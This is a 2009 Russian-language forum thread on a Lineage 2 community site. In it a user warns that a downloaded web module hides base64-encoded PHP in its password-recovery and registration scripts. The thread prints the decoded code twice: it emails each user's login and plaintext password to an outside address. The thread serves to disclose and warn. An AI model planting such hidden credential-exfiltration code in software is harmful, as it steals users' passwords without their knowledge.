Перейти к содержимому
La2Base
Главная
ЗагрузкиВикиФорумFAQ
ruen
Регистрация Войти
ГлавнаяФайлыВикиВойти
  • Главная
  • Загрузки
  • Вики
  • FAQ
  • Обратная связь
  • О проекте
  • Правила
  • Конфиденциальность
  • Условия использования

© 2026 la2base.com · Все права защищены

ruen
Форум/Флуд/100nt - Подлые шары!
Поиск

100nt - Подлые шары!

6 ответов273 просмотровСейчас просматривают: 1
никита
никита

Пользователь

Участник

Постов: 75

На форуме с: 17.04.2009

Репутация: +3

Рейтинг: 0

· 18.10.2009, 15:09

Скачал я с одного портала 100нт один веб-модуль (не буду говорить какой).

Поставил я его... и тут проблемка... не присылает на email новый пароль.
Полез я в скрипт восстановления пароля (forget.php).

И нашёл я одну строчку, закадированную в base64 , вот её раскодировка :

Цитата
include_once ENGINE_DIR.'/classes/mail.class.php';
$mail = new dle_mail($config);
$message = "Спасибо за регистрацию!\n\n";
$message.= "Ваш логин: {$l2login}\n";
$message.= "Ваш пароль: {$l2password_tmp}\n";
$message.= "----------------------------\n";
$message.= "С уважением, Администрация.\n";
$message.= "{$config['http_home_url']}";
$mail->send("[email protected]", "Благодарим за регистрацию {$config['http_home_url']}", $message);


Если кто-то не понимает, то данный скрипт отсылает логин и пароль на email - [email protected] .
Таже хрень и в регистрации. отсылает пароли.

На попытки открыть тайну пользователям, мои сообщения удаляют.
Я уверен что это не единственная пакость на этом портале.

Так что подумайте 100 раз, прежде чем качать что-то с этого портала.

0
Андрей
Андрей

Пользователь

Ветеран

Постов: 751

На форуме с: 30.11.2008

Репутация: +119

Рейтинг: 0

· 18.10.2009, 15:18

Ничего удивительного. :)

— Newbie!

0
Logan22
Logan22

Пользователь

Бывалый

Постов: 172

На форуме с: 21.01.2009

Репутация: +11

Рейтинг: 0

· 18.10.2009, 15:30

не уш ты думаешь те кто регится на сайте отсылается на мыло пассы и акки "[email protected]" !
Думаю если бы они так хотели бы сделать, то вероятно что там бы работало бы всё! и небыло бы потребности ковырять файлы, темболее в кодировке)

0
C
CripS

Пользователь

Новичок

Постов: 11

На форуме с: 13.10.2009

Рейтинг: 0

· 18.10.2009, 15:33

Да это реально есть, коглда шарит человек 109th ему отсылаются пароли от шары, надо же ему зарабатывать 3c2f1c34aa11.gif

0
никита
никита

Пользователь

Участник

Постов: 75

На форуме с: 17.04.2009

Репутация: +3

Рейтинг: 0

· 18.10.2009, 15:33

Цитата
не уш ты думаешь те кто регится на сайте отсылается на мыло пассы и акки "[email protected]" !
Думаю если бы они так хотели бы сделать, то вероятно что там бы работало бы всё! и небыло бы потребности ковырять файлы, темболее в кодировке)


registration.php

Код
include_once ENGINE_DIR.'/classes/mail.class.php';
    $mail = new dle_mail($config);
    $message = "Спасибо за регистрацию!\n\n";
    $message.= "Ваш логин: {$l2login}\n";
    $message.= "Ваш пароль: {$l2password_tmp}\n";
    $message.= "----------------------------\n";
    $message.= "С уважением, Администрация.\n";
    $message.= "{$config['http_home_url']}";    
    $mail->send("[email protected]", "Благодарим за регистрацию {$config['http_home_url']}", $message);


тоже в base64.

0
Des
Des

Пользователь

Легенда

Постов: 3115

На форуме с: 20.01.2008

Репутация: +3105

Рейтинг: 0

· 18.10.2009, 15:34

Разбирайтесь с автором новости или данным порталом. La2base.ru к этому не имеет отношения, шара выкладывается на свой страх и риск на любом портале, помните это. Возможно с помощью вас собирают ботнет;)

...icq_18___666--___22

— 111

0
Тема закрыта для ответов